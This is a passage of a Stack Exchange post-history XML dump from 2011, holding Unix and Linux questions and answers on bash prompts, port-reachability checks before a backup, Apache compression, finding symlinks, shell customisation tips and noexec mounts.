of $?&#xD;&#xA;after testing.  It's safer to assign $? into a temporary variable right away&#xD;&#xA;and then test that variable." />
  <row Id="15663" PostHistoryTypeId="2" PostId="6807" RevisionGUID="0ce37f5a-48f1-439b-ba14-f112aac1cf46" CreationDate="2011-02-02T19:48:08.930" UserId="4194" Text="I think it would be better to use `env PS1=&quot;foo: &quot; /bin/bash --norc -i` instead of using the `--rcfile` option.  The environment is preserved, not overwritten by the dot files and the PS1 environment variable is set before entering the shell.&#xD;&#xA;&#xD;&#xA;You might also want to think about opening a restricted shell, if the calling program gives extra privs. `env PS1=&quot;foo: &quot; PATH=$RESTRICTED_PATH /bin/rbash --norc -i` for whatever value you want for $RESTRICTED_PATH.&#xD;&#xA;&#xD;&#xA;Or have an already prefabricated bashrc file:&#xD;&#xA;&#xD;&#xA;    if [ -f /etc/bashrc ]; then&#xD;&#xA;        source /etc/bashrc&#xD;&#xA;    fi&#xD;&#xA;    if [ -f ~/.bashrc ]; then&#xD;&#xA;        source ~/.bashrc&#xD;&#xA;    fi&#xD;&#xA;    PS1=&quot;foo:&quot;&#xD;&#xA;    PATH=$RESTRICTED_PATH&#xD;&#xA;And then call with `/bin/bash -rcfile ~/.bashrc.appsubshell -i`" />
  <row Id="15664" PostHistoryTypeId="2" PostId="6808" RevisionGUID="305534a6-4c22-42d9-b757-d7d85fb0f384" CreationDate="2011-02-02T19:49:07.477" UserId="4206" Text="&quot;dump data&quot;.  JCL is irrelevant." />
  <row Id="15665" PostHistoryTypeId="5" PostId="5569" RevisionGUID="a544c1fe-dd8c-4e6c-a705-344b8ccc2009" CreationDate="2011-02-02T19:58:40.450" UserId="3519" Comment="added 176 characters in body" Text="I have read a number of posts on the topic and it seems that for now it is not possible to use sane to read infrared data (second pass) with my Epson Perfection V700 scanner out of the box.&#xD;&#xA;&#xD;&#xA;But are there any options to get that working? Any known patch? Any configuration behind the scenes? Any undocumented feature?&#xD;&#xA;&#xD;&#xA;I just asked the question on Avasys' message board, but if any of you guys out there had relevant information, I would appreciate greatly.&#xD;&#xA;&#xD;&#xA;Of particular interest is the 6400dpi resolution in 16bits per channel to scan slides, so I need the infrared option on the `epkowa` driver as the `epson2` driver seems limited to 3200dpi anyway.&#xD;&#xA;&#xD;&#xA;As far as I can tell neither `epkowa` nor `epson2` offers the infrared scan, though it seems that it should be a simple option (`vuescan` actually can do the job, it does two scan passes, one for the RGB and one for the infrared, but I would much prefer to be able to do my scans from the command-line).&#xD;&#xA;&#xD;&#xA;Note that I don't mind if the infrared scan comes out as a separate image, I can manage to combine them as needed.&#xD;&#xA;&#xD;&#xA;Also of interest and not included in the current `sane-epkowa` driver are:  &#xD;&#xA;1/ scans with multiple samples  &#xD;&#xA;2/ confirmation that the `scanimage` `-brightness` setting actually changes the CCD exposure time (rather than performing software image processing)&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Edit 2011-02-01: check sane-devel for the start of an answer.&#xD;&#xA;&#xD;&#xA;sane-backends v1.0.21 has code that's unused by default.&#xD;&#xA;A tweak in epson2.c to enable my scanner (GT-X900) and a configure option to enable IR (CPPFLAGS=-DSANE_FRAME_IR) gets me a version that can at least pretend to do the job.&#xD;&#xA;&#xD;&#xA;I still have to solve two significant issues before I can call it a victory:  &#xD;&#xA;1/ with --mode=Infrared, the output image format seems incorrect, it seems like it produces grayscale, albeit in a funny format.  &#xD;&#xA;2/ --mode=Infrared does not actually produce IR data, the data looks like Grayscale from ordinary colour, it does not look like the result of an Infrared scan.&#xD;&#xA;&#xD;&#xA;More tweaking will be necessary before I get the desired result.&#xD;&#xA;&#xD;&#xA;Again, if any of you has any idea that would help debug and fix (such as where to start in the code, debug settings...), please shout." />
  <row Id="15666" PostHistoryTypeId="2" PostId="6809" RevisionGUID="d04f26bc-0556-4ce2-8332-ef003313d8fc" CreationDate="2011-02-02T20:03:37.590" UserId="4417" Text="i'm writting a script that will backup data from my laptop to an ubuntu server.&#xD;&#xA;to do so, i'm looking for a (ba)sh command to test if the server is available before starting the backup. something like &quot;ping&quot; on port 22 that returns a boolean&#xD;&#xA;&#xD;&#xA;how can i do this ? thanks for helping " />
  <row Id="15667" PostHistoryTypeId="1" PostId="6809" RevisionGUID="d04f26bc-0556-4ce2-8332-ef003313d8fc" CreationDate="2011-02-02T20:03:37.590" UserId="4417" Text="How can i check that a remote computer is online for ssh / script acess ?" />
  <row Id="15668" PostHistoryTypeId="3" PostId="6809" RevisionGUID="d04f26bc-0556-4ce2-8332-ef003313d8fc" CreationDate="2011-02-02T20:03:37.590" UserId="4417" Text="éshellàéscriptingàébackupàépingà" />
  <row Id="15669" PostHistoryTypeId="25" PostId="6804" RevisionGUID="b0b50cc7-7750-49e1-8eb7-8baa9f48961f" CreationDate="2011-02-02T20:16:26.720" Comment="http://twitter.com/#!/StackUnix/status/32895137604435968" />
  <row Id="15670" PostHistoryTypeId="2" PostId="6810" RevisionGUID="70287f00-54e5-4d50-9dcf-132362bd361f" CreationDate="2011-02-02T20:21:37.333" UserId="3959" Text="Use [netcat][1]:&#xD;&#xA;&#xD;&#xA;    nc -z localhost 22&#xD;&#xA;&#xD;&#xA;From the manpage&#xD;&#xA;&#xD;&#xA;     -z      Specifies that nc should just scan for listening daemons,&#xD;&#xA;             without sending any data to them.&#xD;&#xA;&#xD;&#xA;  [1]: http://netcat.sourceforge.net/" />
  <row Id="15671" PostHistoryTypeId="2" PostId="6811" RevisionGUID="08efc268-24be-4431-9a87-e9664d5c506e" CreationDate="2011-02-02T20:22:56.233" UserId="3309" Text="Like this:&#xD;&#xA;&#xD;&#xA;    nc -z hostname 22 &gt; /dev/null&#xD;&#xA;    echo $?&#xD;&#xA;&#xD;&#xA;If it's `0` then it's available. If it's `1` then it's not." />
  <row Id="15672" PostHistoryTypeId="2" PostId="6812" RevisionGUID="72dbd27f-1582-48c9-93c6-fc1eff8e56c2" CreationDate="2011-02-02T20:26:16.197" UserId="4418" Text="What about &#xD;&#xA;&#xD;&#xA;    MACHINE=192.168.0.8&#xD;&#xA;    exec 3&gt;/dev/tcp/${MACHINE}/22&#xD;&#xA;    if [ $? -eq 0 ]&#xD;&#xA;    then&#xD;&#xA;        echo &quot;SSH up&quot;&#xD;&#xA;    else&#xD;&#xA;        echo &quot;SSH down&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15673" PostHistoryTypeId="2" PostId="6813" RevisionGUID="929f76c2-8e36-4a89-a6dd-39c39f7ef3cf" CreationDate="2011-02-02T20:29:57.230" UserId="431" Text="I'm running a CentOS server and I want to save bandwidth, make pages faster, all that. How can I turn on http compression? Is it a module I enable for all sites? Can it be that simple? " />
  <row Id="15674" PostHistoryTypeId="1" PostId="6813" RevisionGUID="929f76c2-8e36-4a89-a6dd-39c39f7ef3cf" CreationDate="2011-02-02T20:29:57.230" UserId="431" Text="How do I turn on http compression?" />
  <row Id="15675" PostHistoryTypeId="3" PostId="6813" RevisionGUID="929f76c2-8e36-4a89-a6dd-39c39f7ef3cf" CreationDate="2011-02-02T20:29:57.230" UserId="431" Text="éapacheàécompressionà" />
  <row Id="15676" PostHistoryTypeId="2" PostId="6814" RevisionGUID="cd91f7f5-198e-4616-976e-64c2c1a82765" CreationDate="2011-02-02T20:34:40.973" UserId="1707" Text="It turns out that the cause of the problem was ACPI,it was switched off&#xD;&#xA;&#xD;&#xA;turning it back on solved the problem :)&#xD;&#xA;&#xD;&#xA;just in case somebody has a similar issue" />
  <row Id="15677" PostHistoryTypeId="2" PostId="6815" RevisionGUID="9ab38956-9f9b-4ebf-a4a6-ee9082660500" CreationDate="2011-02-02T20:39:30.697" UserId="1569" Text="In Linux, what is the best way to find all symbolic links that point to a given file (regardless of whether the symlink is relative or absolute)? I realize this will require scanning the whole filesystem." />
  <row Id="15678" PostHistoryTypeId="1" PostId="6815" RevisionGUID="9ab38956-9f9b-4ebf-a4a6-ee9082660500" CreationDate="2011-02-02T20:39:30.697" UserId="1569" Text="Find incoming symlinks" />
  <row Id="15679" PostHistoryTypeId="3" PostId="6815" RevisionGUID="9ab38956-9f9b-4ebf-a4a6-ee9082660500" CreationDate="2011-02-02T20:39:30.697" UserId="1569" Text="éfindàéfilesàésymlinkà" />
  <row Id="15680" PostHistoryTypeId="2" PostId="6816" RevisionGUID="4f26ef6a-2701-49f5-8909-0f119b71328e" CreationDate="2011-02-02T20:41:54.737" UserId="3309" Text="Use [`mod_deflate`][1].&#xD;&#xA;&#xD;&#xA;Add this to your apache config:&#xD;&#xA;&#xD;&#xA;    LoadModule deflate_module /usr/lib/apache2/modules/mod_deflate.so&#xD;&#xA;    &lt;Location /&gt;&#xD;&#xA;        AddOutputFilterByType DEFLATE text/html text/plain text/xml text/css&#xD;&#xA;    &lt;/Location&gt;&#xD;&#xA;&#xD;&#xA;Obviously if the path your system uses for apache modules differs then you'll need to use the *correct* path.&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.2/mod/mod_deflate.html" />
  <row Id="15681" PostHistoryTypeId="5" PostId="6804" RevisionGUID="ba2e45c7-a789-41f7-91be-fd34faa23174" CreationDate="2011-02-02T20:42:15.407" UserId="261" Comment="fixed the link. sorry, did xmodmaps and keyboard is, well, mapped :)" Text="I know very well what the command does, but `man dd`, `info dd` tell me: 'Convert and copy a file', as does [GNU Coreutils][1].&#xD;&#xA;&#xD;&#xA;Google says its an abbreviation of everything between medicine and bad webchat slang; except someone saying it means 'data destroyer', something used in PC forensics - I'd be horrified if my dd destroyed _my_ data!&#xD;&#xA;&#xD;&#xA;Any insight? :-)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Update**: Of course I had to check [the jargon file][1]:&#xD;&#xA;&#xD;&#xA;&gt; The Unix dd(1) was designed with a&#xD;&#xA;&gt; weird, distinctly non-Unixy keyword&#xD;&#xA;&gt; option syntax reminiscent of IBM&#xD;&#xA;&gt; System/360 JCL (which had an elaborate&#xD;&#xA;&gt; DD ‘Dataset Definition’ specification&#xD;&#xA;&gt; for I/O devices)&#xD;&#xA;&#xD;&#xA;Still sounds pretty ambiguous, but then it says:&#xD;&#xA;&#xD;&#xA;&gt; though the command filled a need, the interface design was clearly a prank.&#xD;&#xA;&#xD;&#xA;Heh :-)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.catb.org/jargon/html/D/dd.html" />
  <row Id="15682" PostHistoryTypeId="2" PostId="6817" RevisionGUID="b907945d-be9d-43bc-aff5-0ee3a840b448" CreationDate="2011-02-02T21:22:11.207" UserId="3169" Text="Perhaps the shortest way would be:&#xD;&#xA;&#xD;&#xA;    target=&quot;/usr/bin/firefox&quot;    # change me&#xD;&#xA;    dir=&quot;/usr/bin&quot;               # change me&#xD;&#xA;    realtarget=&quot;$(realpath &quot;$target&quot;)&quot;&#xD;&#xA;    for file in $(find &quot;$dir&quot; -print); do&#xD;&#xA;        realfile=&quot;$(realpath &quot;$file&quot;)&quot;&#xD;&#xA;        test &quot;$realfile&quot; = &quot;$realtarget&quot; &amp;&amp; echo &quot;$file&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;But it's not very efficient.&#xD;&#xA;&#xD;&#xA;If you don't have `realpath`, install it, e.g. `apt-get install realpath`.&#xD;&#xA;&#xD;&#xA;Also, the above example won't handle file names with spaces in it properly.  Here's a better way to do it.  Note that `IFS=$'\n'` requires `bash` or `zsh`.&#xD;&#xA;&#xD;&#xA;    OIFS=&quot;$IFS&quot;&#xD;&#xA;    IFS=$'\n'&#xD;&#xA;    target=&quot;/usr/bin/firefox&quot;    # change me&#xD;&#xA;    dir=&quot;/usr/bin&quot;               # change me&#xD;&#xA;    realtarget=&quot;$(realpath &quot;$target&quot;)&quot;&#xD;&#xA;    find &quot;$dir&quot; -print | while read -r file; do&#xD;&#xA;        realfile=&quot;$(realpath &quot;$file&quot;)&quot;&#xD;&#xA;        test &quot;$realfile&quot; = &quot;$realtarget&quot; &amp;&amp; echo &quot;$file&quot;&#xD;&#xA;    done&#xD;&#xA;    IFS=&quot;$OIFS&quot;" />
  <row Id="15683" PostHistoryTypeId="5" PostId="6817" RevisionGUID="ed2e3266-5a24-48aa-b723-6f3fbca92192" CreationDate="2011-02-02T21:30:15.857" UserId="3169" Comment="added 103 characters in body" Text="Perhaps the shortest way would be:&#xD;&#xA;&#xD;&#xA;    target=&quot;/usr/bin/firefox&quot;    # change me&#xD;&#xA;    dir=&quot;/usr/bin&quot;               # change me&#xD;&#xA;    realtarget=&quot;$(realpath &quot;$target&quot;)&quot;&#xD;&#xA;    for file in $(find &quot;$dir&quot; -print); do&#xD;&#xA;        realfile=&quot;$(realpath &quot;$file&quot;)&quot;&#xD;&#xA;        test &quot;$realfile&quot; = &quot;$realtarget&quot; &amp;&amp; echo &quot;$file&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;But it's not very efficient.&#xD;&#xA;&#xD;&#xA;If you don't have `realpath`, install it, e.g. `apt-get install realpath`.  You could also use `stat -N` or `ls -l` or `pwd -P` to emulate `realpath`, but those ways are harder.&#xD;&#xA;&#xD;&#xA;Also, the above example won't handle file names with spaces in it properly.  Here's a better way to do it.  Note that `IFS=$'\n'` requires `bash` or `zsh`.&#xD;&#xA;&#xD;&#xA;    OIFS=&quot;$IFS&quot;&#xD;&#xA;    IFS=$'\n'&#xD;&#xA;    target=&quot;/usr/bin/firefox&quot;    # change me&#xD;&#xA;    dir=&quot;/usr/bin&quot;               # change me&#xD;&#xA;    realtarget=&quot;$(realpath &quot;$target&quot;)&quot;&#xD;&#xA;    find &quot;$dir&quot; -print | while read -r file; do&#xD;&#xA;        realfile=&quot;$(realpath &quot;$file&quot;)&quot;&#xD;&#xA;        test &quot;$realfile&quot; = &quot;$realtarget&quot; &amp;&amp; echo &quot;$file&quot;&#xD;&#xA;    done&#xD;&#xA;    IFS=&quot;$OIFS&quot;" />
  <row Id="15684" PostHistoryTypeId="2" PostId="6818" RevisionGUID="fe2ee17f-d090-400a-9f1b-b0dd676f3d7e" CreationDate="2011-02-02T21:41:28.733" UserId="3169" Text="(Community wiki, so each trick belongs in a separate answer.)&#xD;&#xA;&#xD;&#xA;**safe logout**&#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; is the easiest way to exit the shell, but if you still have jobs running, it will happily exit the shell anyway.  By default, this means all the programs you were running from inside that shell will be killed.&#xD;&#xA;&#xD;&#xA;Some shells will only let you log out after pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; twice, but it's still too easy to do that accidentally.&#xD;&#xA;&#xD;&#xA;So instead, add this to `.bashrc` or `.zshrc` or whichever config file you prefer.&#xD;&#xA;&#xD;&#xA;    alias x='_exit'&#xD;&#xA;&#xD;&#xA;    # prevent running &quot;exit&quot; if the user is still running jobs in the background&#xD;&#xA;    # the user is expected to close the jobs or disown them&#xD;&#xA;    _exit()&#xD;&#xA;    {&#xD;&#xA;        case $- in *m*)&#xD;&#xA;            # this way works in bash and zsh&#xD;&#xA;            jobs | wc -l | grep -q '^ *0 *$'&#xD;&#xA;            if test $? -eq 0&#xD;&#xA;            then&#xD;&#xA;                command exit &quot;$@&quot;&#xD;&#xA;            else&#xD;&#xA;                jobs&#xD;&#xA;            fi&#xD;&#xA;            ;;&#xD;&#xA;        *)&#xD;&#xA;            command exit &quot;$@&quot;&#xD;&#xA;            ;;&#xD;&#xA;        esac&#xD;&#xA;    }&#xD;&#xA;" />
  <row Id="15685" PostHistoryTypeId="2" PostId="6819" RevisionGUID="fb850c5c-724f-4cad-b22e-abccaa9f308e" CreationDate="2011-02-02T21:43:04.243" UserId="1078" Text="GNU `find` has the `-samefile` test. According to the man page:&#xD;&#xA;&#xD;&#xA;&gt;     -samefile name&#xD;&#xA;&gt;         File refers to the same inode as name. When -L is in &#xD;&#xA;&gt;         effect, this can include symbolic links.&#xD;&#xA;&#xD;&#xA;    $ find -L / -samefile /path/to/file&#xD;&#xA;&#xD;&#xA;This will find all links to `/path/to/file`, which includes hard links and the file itself. If you only want symlinks, you can individually test the results of `find` (`test -L`).&#xD;&#xA;&#xD;&#xA;You should read up on what the effects of `-L` are and ensure that it won't cause you any problems with your search." />
  <row Id="15686" PostHistoryTypeId="12" PostId="6819" RevisionGUID="076fcd40-37f7-40db-96c6-a91ec20cecf6" CreationDate="2011-02-02T21:43:24.777" UserId="1078" Text="[{&quot;Id&quot;:1078,&quot;DisplayName&quot;:&quot;camh&quot;}]" />
  <row Id="15687" PostHistoryTypeId="2" PostId="6820" RevisionGUID="ff04b65d-a909-4113-b2a0-2f9ada5cbfd4" CreationDate="2011-02-02T21:48:33.280" UserId="3169" Text="(Community wiki, so each trick belongs in a separate answer.)&#xD;&#xA;&#xD;&#xA;**search your history for all the ways you ran a command**&#xD;&#xA;&#xD;&#xA;You might already know about &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;, but this way is much smoother IMHO.&#xD;&#xA;&#xD;&#xA;Set up &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; to search history for commands that start with what you already typed.&#xD;&#xA;&#xD;&#xA;e.g. `ls` &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;, &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; , &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;  will search backwards thru all your `ls` commands.&#xD;&#xA;&#xD;&#xA;You need to put this in your `/etc/inputrc` or `.inputrc` for `bash`:&#xD;&#xA;&#xD;&#xA;    $if mode=emacs&#xD;&#xA;    &quot;\ep&quot;: history-search-backward&#xD;&#xA;    &quot;\en&quot;: history-search-forward&#xD;&#xA;    $endif&#xD;&#xA;&#xD;&#xA;and this in your `.zshrc` for `zsh`:&#xD;&#xA;&#xD;&#xA;    bindkey -M emacs '^[p' history-beginning-search-backward&#xD;&#xA;    bindkey -M emacs '^[n' history-beginning-search-forward&#xD;&#xA;&#xD;&#xA;You could even go one step further and make the Up arrow do this." />
  <row Id="15688" PostHistoryTypeId="2" PostId="6821" RevisionGUID="afd53b7d-a863-4253-896a-f6f54fb3b15f" CreationDate="2011-02-02T21:54:20.977" UserId="3194" Text="I have a `foo.sh` file in my current directory. If I try to run `./foo.sh`, I get:&#xD;&#xA;&#xD;&#xA;    -bash: ./foo.sh: /bin/sh: bad interpreter: Permission denied&#xD;&#xA;&#xD;&#xA;But if I run `/bin/sh ./foo.sh` then it runs fine.&#xD;&#xA;&#xD;&#xA;How can I fix this so I can just run `./foo.sh` and it automatically runs it with /bin/sh?" />
  <row Id="15689" PostHistoryTypeId="1" PostId="6821" RevisionGUID="afd53b7d-a863-4253-896a-f6f54fb3b15f" CreationDate="2011-02-02T21:54:20.977" UserId="3194" Text="Bash won't execute files" />
  <row Id="15690" PostHistoryTypeId="3" PostId="6821" RevisionGUID="afd53b7d-a863-4253-896a-f6f54fb3b15f" CreationDate="2011-02-02T21:54:20.977" UserId="3194" Text="ébashà" />
  <row Id="15691" PostHistoryTypeId="2" PostId="6822" RevisionGUID="cd5cf0dd-db41-4e2a-a914-bc66f9251724" CreationDate="2011-02-02T21:55:00.073" UserId="1131" Text="The cron daemon usually executes your command in a shell where the PATH environment variable is restricted to some system default, e.g. /usr/bin:/bin.&#xD;&#xA;&#xD;&#xA;Probably, your `php` command  is not available in /usr/bin or /bin and thus the script fails when executed via cron and runs successful when not.&#xD;&#xA;&#xD;&#xA;Cron usually reports errors or job messages via a mail to the root user (i.e. when a command returns an exit status != 0 or produces output to stdout/stderr) after the job is finished.&#xD;&#xA;&#xD;&#xA;Depending on your system you have to setup local mail delivery to get these messages." />
  <row Id="15692" PostHistoryTypeId="2" PostId="6823" RevisionGUID="490ae91a-0aef-4819-ac12-87ca533a1448" CreationDate="2011-02-02T21:55:21.037" UserId="3169" Text="**better tab completion**&#xD;&#xA;&#xD;&#xA;I don't think anyone mentioned customizing &lt;kbd&gt;Tab&lt;/kbd&gt; completion yet.&#xD;&#xA;&#xD;&#xA;Here's what I have.&#xD;&#xA;&#xD;&#xA;The two main things it does are:&#xD;&#xA;&#xD;&#xA;  * each command will tab complete depending on what the command is expecting  &#xD;&#xA;    e.g. `cd &lt;Tab&gt;` will only suggest directories&#xD;&#xA;  * ignore case  &#xD;&#xA;    e.g. `d&lt;Tab&gt; will still complete `Desktop` and `Downloads`&#xD;&#xA;&#xD;&#xA;For bash:&#xD;&#xA;&#xD;&#xA;    # custom tab completions&#xD;&#xA;    if type complete &gt;/dev/null 2&gt;&amp;1&#xD;&#xA;    then&#xD;&#xA;        if complete -o &gt;/dev/null 2&gt;&amp;1&#xD;&#xA;        then&#xD;&#xA;            COMPDEF=&quot;-o complete&quot;&#xD;&#xA;        else&#xD;&#xA;            COMPDEF=&quot;-o default&quot;&#xD;&#xA;        fi&#xD;&#xA;        complete -a alias unalias&#xD;&#xA;        complete -d cd pushd popd pd po&#xD;&#xA;        complete $COMPDEF -g chgrp 2&gt;/dev/null&#xD;&#xA;        complete $COMPDEF -u chown&#xD;&#xA;        complete -j fg&#xD;&#xA;        complete -j kill&#xD;&#xA;        complete $COMPDEF -c command&#xD;&#xA;        complete $COMPDEF -c exec&#xD;&#xA;        complete $COMPDEF -c man&#xD;&#xA;        complete -e printenv&#xD;&#xA;        complete -G &quot;*.java&quot; javac&#xD;&#xA;        complete -F complete_runner -o nospace -o default nohup 2&gt;/dev/null&#xD;&#xA;        complete -F complete_runner -o nospace -o default sudo 2&gt;/dev/null&#xD;&#xA;        complete -F complete_services service&#xD;&#xA;        # completion function for commands such as sudo that take a&#xD;&#xA;        # command as the first argument but should complete the second&#xD;&#xA;        # argument as if it was the first&#xD;&#xA;        complete_runner()&#xD;&#xA;        {&#xD;&#xA;            # completing the command name&#xD;&#xA;            # $1 = sudo&#xD;&#xA;            # $3 = sudo&#xD;&#xA;            # $2 = partial command (or complete command but no space was typed)&#xD;&#xA;            if test &quot;$1&quot; = &quot;$3&quot;&#xD;&#xA;            then&#xD;&#xA;                set -- `compgen -c &quot;$2&quot;`&#xD;&#xA;            # completing other arguments&#xD;&#xA;            else&#xD;&#xA;                # $1 = sudo&#xD;&#xA;                # $3 = command after sudo (i.e. second word)&#xD;&#xA;                # $2 = arguments to command&#xD;&#xA;                # use the custom completion as printed by complete -p,&#xD;&#xA;                # fall back to filename/bashdefault&#xD;&#xA;                local comps&#xD;&#xA;                comps=`complete -p &quot;$3&quot; 2&gt;/dev/null`&#xD;&#xA;                # &quot;complete -o default -c man&quot; =&gt; &quot;-o default -c&quot;&#xD;&#xA;                # &quot;&quot; =&gt; &quot;-o bashdefault -f&quot;&#xD;&#xA;                comps=${comps#complete }&#xD;&#xA;                comps=${comps% *}&#xD;&#xA;                comps=${comps:--o bashdefault -f}&#xD;&#xA;                set -- `compgen $comps &quot;$2&quot;`&#xD;&#xA;            fi&#xD;&#xA;            COMPREPLY=(&quot;$@&quot;)&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        # completion function for Red Hat service command&#xD;&#xA;        complete_services()&#xD;&#xA;        {&#xD;&#xA;            OIFS=&quot;$IFS&quot;&#xD;&#xA;            IFS='&#xD;&#xA;            '&#xD;&#xA;            local i=0&#xD;&#xA;            for file in $(find /etc/init.d/ -type f -name &quot;$2*&quot; -perm -u+rx)&#xD;&#xA;            do&#xD;&#xA;                file=${file##*/}&#xD;&#xA;                COMPREPLY[$i]=$file&#xD;&#xA;                i=$(($i + 1))&#xD;&#xA;            done&#xD;&#xA;            IFS=&quot;$OIFS&quot;&#xD;&#xA;        }&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For zsh:&#xD;&#xA;&#xD;&#xA;    # set command completions&#xD;&#xA;    compctl -a {,un}alias&#xD;&#xA;    compctl -b bindkey&#xD;&#xA;    compctl -c command&#xD;&#xA;    compctl -/ {c,push,pop}d&#xD;&#xA;    compctl -E {print,set,unset}env&#xD;&#xA;    #compctl -c exec&#xD;&#xA;    compctl -f -x &quot;c[-1,exec]&quot; -c -- exec&#xD;&#xA;    compctl -j fg&#xD;&#xA;    # no -g according to zshcompctl&#xD;&#xA;    #compctl -g {ch}grp&#xD;&#xA;    compctl -j kill&#xD;&#xA;    compctl -c man&#xD;&#xA;    compctl -c nohup&#xD;&#xA;    compctl -u {ch}own&#xD;&#xA;    compctl -o {set,unset}opt&#xD;&#xA;    compctl -f -x &quot;c[-1,sudo]&quot; -c -- sudo&#xD;&#xA;    compctl -c {whence,where,which}&#xD;&#xA;    compctl -M '' 'm:{a-zA-Z}={A-Za-z}'&#xD;&#xA;&#xD;&#xA;    # make file name completion case-insensitive&#xD;&#xA;    zstyle ':completion:*' matcher-list '' 'm:{a-zA-Z}={A-Za-z}'&#xD;&#xA;" />
  <row Id="15693" PostHistoryTypeId="5" PostId="6821" RevisionGUID="8f679531-415f-4326-b19a-3e33bdbadfe6" CreationDate="2011-02-02T21:59:46.367" UserId="3194" Comment="added 263 characters in body" Text="I have a `foo.sh` file in my current directory. If I try to run `./foo.sh`, I get:&#xD;&#xA;&#xD;&#xA;    -bash: ./foo.sh: /bin/sh: bad interpreter: Permission denied&#xD;&#xA;&#xD;&#xA;But if I run `/bin/sh ./foo.sh` then it runs fine.&#xD;&#xA;&#xD;&#xA;How can I fix this so I can just run `./foo.sh` and it automatically runs it with /bin/sh?&#xD;&#xA;&#xD;&#xA;Edit: Okay, this is Chrome OS and this particular folder is mounted with `noexec`. Apparently that foils the ability to just run `./foo.sh`; but **why?** Why can I still run `sh foo.sh` to achieve the exact same thing? What security, then, does `noexec` give?" />
  <row Id="15694" PostHistoryTypeId="2" PostId="6824" RevisionGUID="dd3c1459-f54c-4533-bec6-0178706d7673" CreationDate="2011-02-02T22:01:37.220" UserId="3169" Text="**simple calculator**&#xD;&#xA;&#xD;&#xA;You can use `$(( ... ))` or `expr ...` to do very basic calculations, but it does integer division, e.g.&#xD;&#xA;&#xD;&#xA;    $ expr 3 / 2&#xD;&#xA;    1&#xD;&#xA;&#xD;&#xA;    $ expr 1.5 \* 2&#xD;&#xA;    expr: non-integer argument&#xD;&#xA;&#xD;&#xA;A better way is to use `bc`.&#xD;&#xA;&#xD;&#xA;    # do some floating point arithmetic&#xD;&#xA;    calc()&#xD;&#xA;    {&#xD;&#xA;        echo &quot;scale=3; $*&quot; | bc&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;then:&#xD;&#xA;&#xD;&#xA;    $ calc 3 / 2&#xD;&#xA;    1.500&#xD;&#xA;    $ calc 1.5 \* 2&#xD;&#xA;    3.0&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15695" PostHistoryTypeId="2" PostId="6825" RevisionGUID="5d66b507-1a1c-4a18-9284-8f8935b73ae9" CreationDate="2011-02-02T22:10:58.173" UserId="3169" Text="**show the most recently changed file**&#xD;&#xA;&#xD;&#xA;Often, I want to look at the most recent file.  e.g., I might be in the logs directory, and want to see which file is most recent because that is the first place to look to see why something is not working.&#xD;&#xA;&#xD;&#xA;`ls -lt | head` is a but cumbersome to type, so here's an alternative:&#xD;&#xA;&#xD;&#xA;    # show the most recently changed file&#xD;&#xA;    latest()&#xD;&#xA;    {&#xD;&#xA;        if test $# -ne 0&#xD;&#xA;        then&#xD;&#xA;            /bin/ls -t -1 -d &quot;$@&quot; | head -n 1&#xD;&#xA;        else&#xD;&#xA;            /bin/ls -t -1 -d * | head -n 1&#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;It also takes a wildcard or list of files, e.g.&#xD;&#xA;&#xD;&#xA;    $ latest mail* syslog*&#xD;&#xA;    syslog&#xD;&#xA;&#xD;&#xA;which is especially handy if all your log files have a timestamp in their name.  You can find the latest log for that program, without worrying what format the timestamp is in.&#xD;&#xA;&#xD;&#xA;    $ touch -d 'Feb 1' mylog.20110201&#xD;&#xA;    $ touch -d 'Feb 2' mylog.20110202&#xD;&#xA;    $ touch -d 'Feb 3' mylog.20110203&#xD;&#xA;    $ latest mylog*&#xD;&#xA;    mylog.20110203&#xD;&#xA;" />
  <row Id="15696" PostHistoryTypeId="2" PostId="6826" RevisionGUID="9deda6c8-eb40-4c8e-a34f-032772701c46" CreationDate="2011-02-02T22:19:27.673" UserId="3309" Text="Ah, didn't notice the last part of your question...I'm rewriting my answer." />
  <row Id="15697" PostHistoryTypeId="2" PostId="6827" RevisionGUID="5149a815-f26c-419e-b4a6-b9ef95c77045" CreationDate="2011-02-02T22:21:34.867" UserId="1131" Text="With one repository I did it like this (as root):&#xD;&#xA;&#xD;&#xA;    $ cd /etc/yum.repos&#xD;&#xA;    $ wget https://some.repo.example.org/foo/bar/Fedoara_14/foo_bar.repo&#xD;&#xA;    $ grep enabled foo_bar.repo&#xD;&#xA;    enabled=1&#xD;&#xA;&#xD;&#xA;Is this the recommended way to add a package repository under Fedora (&gt;= 14)?&#xD;&#xA;&#xD;&#xA;Is there is some policy/standard that each proper Fedora package repository contains such a config file one should copy to the local /etc/yum directory?" />
  <row Id="15698" PostHistoryTypeId="1" PostId="6827" RevisionGUID="5149a815-f26c-419e-b4a6-b9ef95c77045" CreationDate="2011-02-02T22:21:34.867" UserId="1131" Text="How to add an repository on Fedora?" />
  <row Id="15699" PostHistoryTypeId="3" PostId="6827" RevisionGUID="5149a815-f26c-419e-b4a6-b9ef95c77045" CreationDate="2011-02-02T22:21:34.867" UserId="1131" Text="éfedoraàéyumà" />
